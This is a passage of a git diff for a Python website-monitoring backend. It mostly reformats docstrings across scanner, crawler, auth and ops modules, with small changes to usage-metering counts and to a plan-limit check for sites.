         to the Case baseline.
 
-        Expects: {
+        Args:
             'index' : int, step index
             'type'  : str, 'action' or 'assertion'
         }
@@ -255,13 +255,13 @@ def update_process(
         number of steps expected - then updates self.process
         with the info.
 
-        Expects: {
+        Args:
             current     : int, 
             total       : int, 
             complete    : bool=False, 
         }
 
-        Returns -> None
+        Returns: None
         """
 
         final_progress = 90
@@ -295,11 +295,11 @@ def save_screenshot(self, run_type: str=None) -> str:
         Grabs & uploads a screenshot of the active `page` 
         self.driver is working on. 
 
-        Expects: {
+        Args:
             run_type: str, 'run' or 'pre_run'
         }
 
-        Returns -> `image_url` <str:remote path to image>
+        Returns: `image_url` <str:remote path to image>
         """
 
         # default
@@ -355,12 +355,12 @@ def save_case_steps(self, steps: dict, case_id: str) -> dict:
         Helper function that uploads the "steps" data to 
         s3 bucket
 
-        Expects: {
+        Args:
             'steps'   : dict, 
             'case_id' : str
         }
 
-        Returns -> data: {
+        Returns: {
             'num_steps' : int,
             'url'       : str
         }
@@ -416,12 +416,12 @@ def get_element(self, selector: str=None, xpath: str=None) -> object:
         then by xpath. If both fail, then return
         None for "element" and True for "failed".
 
-        Expects: {
+        Args:
             "selector": str, 
             "xpath": str, 
         }
 
-        Returns -> data: {
+        Returns: {
             'element': object | None,
             'failed': bool
         }
@@ -461,11 +461,11 @@ def format_exception(self, exception: str) -> str:
         Cleans the passed `exception` of any 
         system refs and unnecessary info
 
-        Expects: {
+        Args:
             "exception": str
         }
 
-        Returns -> str
+        Returns: str
         """
 
         split_e = str(exception).split('Stacktrace:')
@@ -481,11 +481,11 @@ def get_element_image(self, element: object) -> str:
         Grabs a screenshot of the passed "element"
         and returns image data as base64 str.
 
-        Expects: {
+        Args:
             "element": object (REQUIRED)
         }
 
-        Returns -> str (base64 encoded)
+        Returns: str (base64 encoded)
         """
 
         try:
@@ -503,7 +503,7 @@ def run(self) -> None:
         """
         Runs the self.caserun using selenium as the driver
 
-        Returns -> None
+        Returns: None
         """
 
         msg = f'starting case run for {self.site_url} using case "{self.caserun.title}" | run_id: {str(self.caserun.id)}'
@@ -1175,7 +1175,7 @@ def pre_run(self) -> None:
         Runs the self.case using selenium as the driver
         and tries to collect element img & screenshot data.
 
-        Returns -> None
+        Returns: None
         """
 
         print(f'beginning pre_run for Case {self.case.title}')
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 9972ae74..977b4c18 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -11,7 +11,7 @@ class Crawler():
     Crawl the passed "site" for pages, stoping 
     once 'max_urls' is reached.
 
-    Expects: {
+    Args:
         'url'       : str,
         'sitemap'   : str,
         'max_urls'  : int,
@@ -19,7 +19,7 @@ class Crawler():
 
     Use `Crawler.get_links()` initiate a new crawl
 
-    Returns -> list
+    Returns: list
     """
 
 
diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index 4a19b8c8..1917d935 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -395,12 +395,11 @@ def get_definition(key: str=None, name: str=None) -> str:
     Finds the specific data definition based on the 
     key or name provided.
 
-    Expects: {
+    Args:
         "key"   : str,
         "name"  : str,
-    }
-
-    Returns -> "definition" dict, or None
+    
+    Returns: "definition" dict, or None
     """
 
     # setting default
diff --git a/app/api/utils/devices.py b/app/api/utils/devices.py
index f964a001..58f812cc 100644
--- a/app/api/utils/devices.py
+++ b/app/api/utils/devices.py
@@ -232,12 +232,11 @@ def get_device(browser: str=None, name: str=None) -> str:
     Finds the specific device based on the 
     browser and name provided.
 
-    Expects: {
+    Args:
         "browser": str,
         "name":    str,
-    }
-
-    Returns -> "device" dict
+    
+    Returns: "device" dict
     """
 
     # setting default to 'Windows 10 PC'
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index f2c71e00..87b8c7fb 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -31,7 +31,7 @@ def driver_init(
         'pixel_ratio'   : int,
         'scale_factor'  : int
 
-    Returns -> driver object
+    Returns: driver object
     """
 
     # get userAgent 
@@ -140,7 +140,7 @@ def driver_test() -> None:
     Spins up a selenium driver instance and
     tests to ensure it can access the browser and internet
 
-    Returns -> None
+    Returns: None
     """
     
     print("Testing Selenium...")
@@ -188,14 +188,13 @@ def driver_wait(
     for either the page to fully load or the max_wait_time
     to expire before returning.
 
-    Expects: {
+    Args:
         'driver'        : object, 
         'interval'      : int,
         'max_wait_time' : int,
         'min_wait_time' : int
-    }
-
-    Returns -> bool (True if page is loaded)
+    
+    Returns: bool (True if page is loaded)
     """
 
     def interact_with_page(driver):
@@ -313,7 +312,7 @@ def quit_driver(driver: object) -> None:
     """ 
     Quits and reaps all child processes in docker
 
-    Returns -> None
+    Returns: None
     """
     print('Quitting session: %s' % driver.session_id)
     driver.quit()
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index f200bee5..dc308c06 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -19,10 +19,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
         'email'         : str prospect's email address 
         'first_name'    : str prospect's first name
     
-    Returns -> data {
+    Returns: {
         'success' : bool if process started successfully
         'error'   : str any error msg from cursion server
-    }
     """
 
     # setting up s3 client
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 9d08e267..ca617ff3 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -58,7 +58,7 @@ def get_timestamp(self, timestamp: str=None) -> object:
         """ 
         Formats the 'timestamp' if not None
 
-        Expects: {
+        Args:
             timestamp: str
         }
 
@@ -86,7 +86,7 @@ def get_current_step(self) -> dict:
 
         Expects: None
 
-        Returns: {
+        Returns:
             'index' : int,
             'node'  : dict
         } 
@@ -158,11 +158,11 @@ def get_edge_by_target(self, target: str=None) -> dict:
         Retrieves the self.flowrun.edge[] that matched the 
         passed 'target' id
 
-        Expects: {
+        Args:
             'target': str
         }
 
-        Returns: {
+        Returns:
             'index': str,
             'edge': dict
         }
@@ -187,7 +187,7 @@ def get_edges_by_source(self, source: str=None) -> dict:
         Retrieves the self.flowrun.edges[] that matched the 
         passed 'source' id
 
-        Expects: {
+        Args:
             'source': str
         }
 
@@ -217,11 +217,11 @@ def get_node_by_id(self, id: str=None) -> dict:
         Retrieves the self.flowrun.node[] that matched the 
         passed 'id'
 
-        Expects: {
+        Args:
             'id': str
         }
 
-        Returns: {
+        Returns:
             'index': str,
             'node': dict
         }
@@ -246,7 +246,7 @@ def objects_are_complete(self, object_list: list=[]) -> bool:
         Iterates through the object_list of a given node
         and returns True if all object.status != 'working'
 
-        Expects: {
+        Args:
             'object_list': list
         }
 
@@ -363,7 +363,7 @@ def finalize_node(self, index: int=None) -> None:
         Updates the node matching the 'index' with 
         'finalized' = True, then updates self.flowrun
 
-        Expects: {
+        Args:
             'index': int
         }
 
@@ -387,7 +387,7 @@ def complete_flowrun(self, current_data: dict=None) -> None:
         Checks for run completion and updates final 
         run status.
 
-        Expects: {
+        Args:
             'current_data': dict
         }
 
@@ -683,7 +683,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         """ 
         Executes the `step` with associated job.
 
-        Expects: {
+        Args:
             'step_data': {
                 'index': str,
                 'node' : dict
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 93ac2b30..b7db8e9a 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -102,7 +102,7 @@ def check_timeout(self, timeout: int, start_time: str) -> bool:
         """
         Checks to see if the current time exceedes the alotted timeout. 
         
-        Returns -> True if timeout exceeded
+        Returns: True if timeout exceeded
         """
         current = datetime.now()
         diff = current - start_time
@@ -119,7 +119,7 @@ def add_images(self, im1: object, im2: object) -> object:
         """
         Joins img1 and im2 vertically and saves as "new_img"
         
-        Returns -> new_img <Image>
+        Returns: new_img <Image>
         """
         im1 = I.open(im1)
         im2 = I.open(im2)
@@ -513,7 +513,7 @@ class Result(BaseModel):
 
         # meter account if necessary
         if self.test.page.account.type == 'cloud' and self.test.page.account.cust_id:
-            meter_account(str(self.test.page.account.id), 1)
+            meter_account(str(self.test.page.account.id), 2)
 
         print(result)
         return result
@@ -764,7 +764,7 @@ def scan_vrt(
             'driver': object
         }
 
-        Returns -> self.image_array list
+        Returns: self.image_array list
         """
 
         # initialize driver if not passed as param
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 498b3536..f1431416 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -13,7 +13,7 @@ class Issuer():
     """ 
     Generate new `Issue` for the passed 'test' or 'caserun'.
 
-    Expects: {
+    Args:
         'scan'      : object
         'test'      : object,
         'caserun'   : object,
@@ -22,7 +22,7 @@ class Issuer():
 
     Use `Issuer.build_issue()` to generate new `Issue`
 
-    Returns -> None
+    Returns: None
     """
 
 
@@ -70,11 +70,11 @@ def convert_key(self, key: str=None) -> str:
         snake case str into a spaced str with 
         each word capitalized
 
-        Expects: {
+        Args:
             key: str
         }
 
-        Returns -> str
+        Returns: str
         """
 
         # remove "_delta"
@@ -98,11 +98,11 @@ def clean_recommendation(self, recommendation: str=None) -> str:
         """ 
         Replaces URLs with correct URLs
 
-        Expects: {
+        Args:
             'recommendation': str
         }
 
-        Returns -> str
+        Returns: str
         """
         # clean client URI
         client_uri = settings.CLIENT_URL_ROOT.split('://')[1]
@@ -126,7 +126,7 @@ def build_issue(self):
 
         Expects: None
 
-        Returns -> `Issue` <obj>
+        Returns: `Issue` <obj>
         """
 
         # deciding on type
@@ -188,7 +188,7 @@ def build_issue(self):
 
         # meter account if necessary
         if self.account.type == 'cloud' and self.account.cust_id:
-            meter_account(str(self.account.id), 1)
+            meter_account(str(self.account.id), 2)
         
         # new Issue
         return issue
@@ -501,7 +501,7 @@ def build_recommendation(self) -> str:
 
         Expects: None
 
-        Returns -> str    
+        Returns: str    
         """
 
         # initializing
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index cb42a18a..bae646c3 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -75,6 +75,7 @@ def __init__(self, scan=None):
 
 
 
+
     def create_configs(self):
     
         # custom Lighthouse config
@@ -117,7 +118,7 @@ def lighthouse_cli(self):
         Serves as the CLI method for collecting LH metrics.
         Creates a sub process running lighthouse CLI
 
-        Returns --> raw LH data (Dict)
+        Returns: raw LH data (Dict)
         """
 
         # warm up the page by curl'ing site
@@ -189,7 +190,7 @@ def lighthouse_api(self) -> dict:
         Serves as the API method for collecting LH metrics.
         Sends API requests to 
 
-        Returns --> raw LH data (Dict)
+        Returns: raw LH data (Dict)
         """
 
         # defaults
@@ -225,6 +226,7 @@ def lighthouse_api(self) -> dict:
 
 
 
+
     def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
@@ -233,7 +235,7 @@ def process_data(self, stdout_json: dict) -> dict:
         Expects the following:
             stdout_json: <dict> or json from output
             
-        Returns --> formatted LH data <dict> 
+        Returns: formatted LH data <dict> 
         """
 
         # setup boto3 configurations
@@ -325,6 +327,7 @@ def process_data(self, stdout_json: dict) -> dict:
             raise TypeError
 
 
+
     
     def get_data(self):
 
diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index 48517962..4e4f6d99 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -17,13 +17,12 @@ def record_task(
     Records task information in the `resource.system` 
     attribute.
 
-    Expects: {
+    Args:
         'resource_type' : str (scan, test, caserun)
         'resource_id'   : str 
         'task_id'       : str 
         'task_method'   : str
         'kwargs'        : dict
-    }
     
     Returns: max_attempts_reached <bool>
     """
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 577eeac4..3869a34b 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -16,18 +16,17 @@ class Reporter():
     Used for generating web vitals reports for 
     the associated `Page` & `Scan`
 
-    Expects: {
+    Args:
         'report': <report:obj>,
         'scan'  : <scan:obj>,
     }
 
     Use self.generate_report() to create a new report
 
-    Returns: {
+    Returns:
         'report' : object,
         'success': bool,
         'message': str
-    }
     """
 
 
@@ -161,7 +160,7 @@ def cover_page(self) -> None:
         """ 
         Builds the cover page with a title
 
-        Returns -> None
+        Returns: None
         """
 
         # background and title
@@ -216,12 +215,12 @@ def get_score_data(self, score: float, is_binary: bool=False) -> dict:
         Using the passed 'score', decide on 
         which grade and color to return.
 
-        Expects: {
+        Args:
             'score'     : float,
             'is_binary' : bool
         }
 
-        Returns -> dict
+        Returns: dict
         """
 
         # calc score if binary
@@ -341,11 +340,11 @@ def create_data(self, data_type: str) -> None:
         Paints the data for the passed 'data_type', 
         either 'lighthouse' or 'yellowlab'.
         
-        Expects: {
+        Args:
             'data_type': str
         }
 
-        Returns -> None
+        Returns: None
         """
         
         # add new page
@@ -537,7 +536,7 @@ def generate_report(self) -> dict:
         """ 
         Generates a new Report.
 
-        Returns -> data: {
+        Returns: {
             'report' : object,
             'success': bool,
             'message': str
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index ecbb7512..25ab604d 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -33,7 +33,7 @@ class Scanner():
 
     Use self.build_scan() to create a new Scan
 
-    Returns -> `Scan` object
+    Returns: `Scan` object
     """
 
 
@@ -65,7 +65,7 @@ def build_scan(self) -> object:
         """
         Method to run a scan independently of an existing `scan` obj.
 
-        Returns -> `Scan` <obj>
+        Returns: `Scan` <obj>
         """
 
         # setting defaults
@@ -135,11 +135,10 @@ def update_scan_score(scan: object) -> object:
     Method to calculate the average health score and update 
     for the passed scan
 
-    Expects: {
+    Args:
         'scan': object
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
     
     # setting defaults
@@ -170,11 +169,10 @@ def update_site_info(scan: object) -> object:
     """ 
     Method to update associated Site with the new Scan data
 
-    Expects: {
+    Args:
         'scan': object
-    }
-
-    Returns -> `Site` <obj>
+    
+    Returns: `Site` <obj>
     """
     
     # setting defaults
@@ -212,11 +210,10 @@ def update_page_info(scan: object) -> object:
     """ 
     Method to update associated Page with the new Scan data
 
-    Expects: {
+    Args:
         'scan': object
-    }
-
-    Returns -> `Page` <obj>
+    
+    Returns: `Page` <obj>
     """
 
     # saving new info to page
@@ -237,12 +234,11 @@ def save_html(html: str, scan: object) -> object:
     Saves html page source as a '.txt' file and uploads 
     to s3. Then saves the remote uri to the `scan` obj.
 
-    Expects: {
+    Args:
         html: str, 
         scan: object
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
 
     # setup boto3 configuration
@@ -296,16 +292,15 @@ def check_scan_completion(
     components. If so, method also updates Scan, Site, 
     & Page info.
 
-    Expects: {
+    Args:
         scan: object,
         sender: str,
         test_id: str,
         alert_id: str
         flowrun_id: str, 
         node_index: str
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
 
     # sleeping random for DB update
@@ -434,15 +429,14 @@ def _html_and_logs(
     Method to run the 'html' and 'logs' component of the scan 
     allowing for multi-threading.
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str, 
         node_index  : str
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
 
     # retrieve scan
@@ -529,15 +523,14 @@ def _vrt(
     Method to run the visual regression (vrt) component of the scan 
     allowing for multi-threading.
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str, 
         node_index  : str
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
 
     # retrieve scan
@@ -606,15 +599,14 @@ def _lighthouse(
     Method to run the lighthouse component of the scan 
     allowing for multi-threading.
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str, 
         node_index  : str
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """
 
     # retrieve scan
@@ -683,15 +675,14 @@ def _yellowlab(
     Method to run the yellowlab component of the scan 
     allowing for multi-threading.
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str, 
         node_index  : str
-    }
-
-    Returns -> `Scan` <obj>
+    
+    Returns: `Scan` <obj>
     """ 
 
     # retrieve scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 305b2f48..54c87ef3 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -23,7 +23,7 @@ class Tester():
 
     Use self.run_test() to run all Test components
 
-    Returns -> `Test` object
+    Returns: `Test` object
     """
 
 
@@ -722,7 +722,7 @@ def run_test(self) -> object:
 
         Expects: None
 
-        Returns -> `Test` object
+        Returns: `Test` object
         """
 
         # update test obj with scan configs
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 399cdabb..422397d4 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -12,7 +12,7 @@ def update_flowrun(*args, **kwargs) -> object:
     Updates the `FlowRun`, matching the 'flowrun_id',
     with the **kwargs data
 
-    Expects: {
+    Args:
         'kwargs' : {
             'flowrun_id'   : str
             'node_index'   : int or str,
@@ -20,7 +20,6 @@ def update_flowrun(*args, **kwargs) -> object:
             'node_status'  : str,
             'objects'      : list of dicts
         }
-    }
     
     Returns: `FlowRun` obj
     """
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index a5de7704..3534f1e7 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -60,7 +60,7 @@ def login(self):
         ''' 
             Tries to log into a WP site with given credentials.
 
-            returns --> True / False 
+            Returns: True / False 
         
         '''
 
@@ -377,7 +377,7 @@ def launch_migration(self):
         ''' 
             Launches the migration plugin once Activated.
 
-            returns --> True / False 
+            Returns: True / False 
         
         '''
 
@@ -421,7 +421,7 @@ def run_migration(self):
             and begins updating the associated `Process` with data
             from the page.
 
-            returns --> True / False 
+            Returns: True / False 
         
         '''
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 021294b1..8480bb57 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -63,7 +63,7 @@ def yellowlab_cli(self):
         Serves as the CLI method for collecting YL metrics.
         Creates a sub process running yellowlabtools CLI
 
-        Returns --> raw YL data (Dict)
+        Returns: raw YL data (Dict)
         """
 
         print(f'starting YL with device type -> {self.device_type}')
@@ -93,7 +93,7 @@ def yellowlab_api(self) -> dict:
         Sends API requests to http://yellowlab:8383
         or localhost:8383
 
-        Returns --> raw YL data (Dict)
+        Returns: raw YL data (Dict)
         """
 
         headers = {
@@ -174,7 +174,7 @@ def process_data(self, stdout_json: dict) -> dict:
         Expects the following:
             stdout_json: <dict> or json from output
             
-        Returns --> formatted YL data <dict> 
+        Returns: formatted YL data <dict> 
         """
 
         # setup boto3 configurations
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 8f21fbad..b09922c6 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -51,12 +51,11 @@ def register_user(request: object) -> object:
         'first_name' : str,
         'last_name'  : str,
 
-    Returns -> data: {
+    Returns: {
         'user'      : dict,
         'token'    : str,
         'refresh'   : str,
         'api_token' : str
-    }
     """
 
     # get data
@@ -123,12 +122,11 @@ def login_user(request: object) -> object:
         'username' : str, (same as email unless 'admin')
         'password' : str
 
-    Returns -> data: {
+    Returns: {
         'user'      : dict,
         'token'     : str,
         'refresh'   : str,
         'api_token' : str
-    }
     """
 
     # get data
@@ -185,11 +183,12 @@ def update_user(request: object) -> object:
     """ 
     Updates the User with the passed "email".
 
-    Expects: {
+    Args:
         'request': object
     }    
 
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -222,11 +221,12 @@ def update_password(request: object) -> object:
     """ 
     Updates the User with the passed "password".
 
-    Expects: {
+    Args:
         'request': object
     }    
 
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -256,11 +256,11 @@ def send_reset_email(request: object) -> object:
     Sends a password reset email to the 
     User that matches the passed "email".
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -290,9 +290,8 @@ def jwt_login(*, user: object) -> str:
     
     Expect: {
         'user': object
-    }
-
-    Returns -> str
+    
+    Returns: str
     """
 
     # get JWTs for user
@@ -336,11 +335,10 @@ def get_or_create_user(email: str,  **extra_fields) -> object:
     """ 
     Creates a new `User` with the passed "email".
     
-    Expects: {
+    Args:
         'email' : str, 
-    }
-
-    Returns -> User object 
+    
+    Returns: User object 
     """
 
     # trying to find user
@@ -388,12 +386,11 @@ def google_get_access_token(*, code: str, redirect_uri: str) -> str:
     """ 
     Get an access token from Google OAuth2 API
 
-    Expects: {
+    Args:
         'code'         : str,
         'redirect_uri' : str
-    }
-
-    Returns -> str
+    
+    Returns: str
     """
 
     # format request data
@@ -424,11 +421,10 @@ def google_get_user_info(*, access_token: str) -> dict:
     """ 
     Gets User info from google OAuth2 API
 
-    Expects: {
+    Args:
         'access_token'
-    }
-
-    Returns -> dict
+    
+    Returns: dict
     """
 
     # send request
@@ -452,11 +448,10 @@ def google_login(request: object) -> str:
     Authenticates and Creates a new User 
     with Google OAuth
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> str
+    Returns: str
     """
         
     # get request data
@@ -508,11 +503,11 @@ def slack_oauth_middleware(request: object) -> object:
     Used to update `Account` once "account.admin" 
     has integrated Slack
     
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -554,11 +549,11 @@ def slack_oauth_init(request: object) -> object:
     """ 
     Used to authenticate with Slack
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """ 
 
     # check if account exists
@@ -612,11 +607,11 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
     """ 
     Creates or Updates an `Account`
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -825,11 +820,11 @@ def get_account(request: object) -> object:
     """
     Gets the `Account` associated with the passed user
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user
@@ -857,11 +852,11 @@ def create_user_token(request: object) -> object:
     """ 
     Creates a new API token for the passed "user"
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # delete old token if exists
@@ -884,11 +879,11 @@ def get_account_license(request: object) -> object:
     Checks if Account is type "selfhost" and returns
     rquested ENV data
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -944,11 +939,11 @@ def get_account_members(request: object, *args, **kwargs) -> object:
     Get a list of `Members` associated with the 
     `Account` of the passed "user"
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user
@@ -981,11 +976,11 @@ def create_or_update_member(request: object=None) -> object:
     """ 
     Creates or Updates a `Member`
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -1086,12 +1081,12 @@ def get_member(request: object=None, id: str=None) -> object:
     """ 
     Get a single member via passed "user" or "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
     
     # get user and member_id
@@ -1138,14 +1133,12 @@ def get_prospects(request: object) -> object:
     builds a list to reflect the needed 
     attributes for `Landing.api.Prospect`
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'count':    int total number of prospects
         'results':  list of Prospect objects
-    }
     """
 
     try:
@@ -1214,11 +1207,10 @@ def t7e(request: object) -> None:
     """
     Helper function for validation & verification
     
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # validating
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index bcaafba2..6bec06f4 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -33,13 +33,13 @@ def record_api_call(request: object, data: dict, status: str) -> None:
     the request was sent with Token auth. 
     Creates a `Log` with the recorded info
 
-    Expects: {
+    Args:
         request : object, 
         data    : dict, 
         status  : str
-    }
     
-    Returns -> None
+    Returns: 
+        None
     """
     
     # get auth type
@@ -75,12 +75,12 @@ def decrement_resource(account: object, resource: str) -> None:
     """ 
     Removes '1' from the resource total 
 
-    Expects: {
-        'account'  : <object>,
+    Args:
+        'account'  : <object>
         'resource' : <str> 'site', 'page', 'schedule'
-    }
-
-    Returns: None
+    
+    Returns: 
+        None
     """
 
     # remove 1 from account.usage[{resource}]
@@ -98,15 +98,13 @@ def check_location(request: None, local: None) -> dict:
     Reroutes a request to a geo-specific 
     instance of Cursion Server. 
 
-    Expects: {
+    Args:
         'request': obj,
         'local'  : str,
-    }
-
-    Returns: data: {
-        'routed': bool (True if request was forwarded)
+    
+    Returns:
+        'routed': bool (True if request was forwarded),
         'response': obj (HTTP response from forwarded request)
-    }
     """
 
     # set defaults
@@ -176,21 +174,19 @@ def check_permissions_and_usage(
     References Member.permissions to determine if 
     give action is allowed on given resource.
 
-    Expects: {
+    Args:
         'member'    : obj, (REQUIRED)
         'resource'  : str, (REQUIRED)
         'action'    : str, (OPTIONAL, 'get')
         'id'        : str, (OPTIONAL)
         'id_type'   : str, (OPTIONAL)
         'url'       : str, (OPTIONAL)
-    }
     
-    Returns: {
-        'allowed'   : bool,
-        'error'     : str,
-        'code':     : str, 
+    Returns:
+        'allowed'   : bool
+        'error'     : str
+        'code':     : str 
         'status':   : object
-    }
     """
 
     # get account from member
@@ -344,7 +340,7 @@ def site_in_sites(id) -> bool:
             
 
     # check for cloud / enterprise plan
-    if (account.type == 'enterprise' or account.type == 'cloud') and resource == 'site' and account.user.username != 'admin' :
+    if (account.type == 'enterprise') and resource == 'site' and account.user.username != 'admin' :
         
         # add to sites_allowed only for enterprise and cloud plans
         if action == 'add' and account.usage['sites_allowed'] == Site.objects.filter(account=account).count():
@@ -389,11 +385,11 @@ def retry_failed_tasks(request: object=None) -> object:
     Using `tasks.redeliver_failed_tasks()`, retries any
     "failed" task that has not reached MAX_ATTEMPTS.
 
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # init rety 
@@ -417,12 +413,12 @@ def create_site(request: object=None) -> object:
     Creates a new `Site`, initiates a Crawl, initial `Scans` 
     for each added `Page`, and generates new `Cases`. 
 
-    Expects: {
+    Args:
         request : object, 
         delay   : bool
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # getting data
@@ -552,13 +548,13 @@ def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Initiates a new Crawl for the passed `Site`.id
 
-    Expects: {
+    Args:
         'request' : object, 
         'id'      : str,
         'user'    : object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -609,11 +605,12 @@ def get_sites(request: object=None) -> object:
     """ 
     Get one or more `Sites` in paginated response
 
-    Expects: {
+    Args:
         'request': object,
     } 
 
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # getting request data
@@ -670,12 +667,12 @@ def get_site(request: object=None, id: str=None) -> object:
     """
     Get single `Site` from the passed "id"
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str 
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account
@@ -710,13 +707,13 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Site` associated with the passed "id" 
 
-    Expects: {
+    Args:
         'request' : object,
         'id'      : str,
         'user'    : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get user and account info
@@ -785,11 +782,11 @@ def delete_many_sites(request: object=None) -> object:
     Deletes one or more `Sites` associated
     with the passed "request.ids" 
 
-    Expects: {
+    Args:
         'request' : object,
-    }
-
-    Returns -> HTTP Response object
+    
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -862,11 +859,11 @@ def get_sites_zapier(request: object=None) -> object:
     """ 
     Get all `Sites` associated with user's Account.
 
-    Expects: {
+    Args:
         'request': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # get request data
@@ -925,11 +922,11 @@ def create_page(request: object=None) -> object:
     """ 
     Creates one or more pages.
 
-    Expects: {
+    Args:
         'requests': object
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # getting request data
@@ -1017,12 +1014,11 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 
-    Expects: {
+    Args:
         'request'       : object,
         'http_response'  : bool
-    }
-
-    Returns -> dict or HTTP Response object
+    
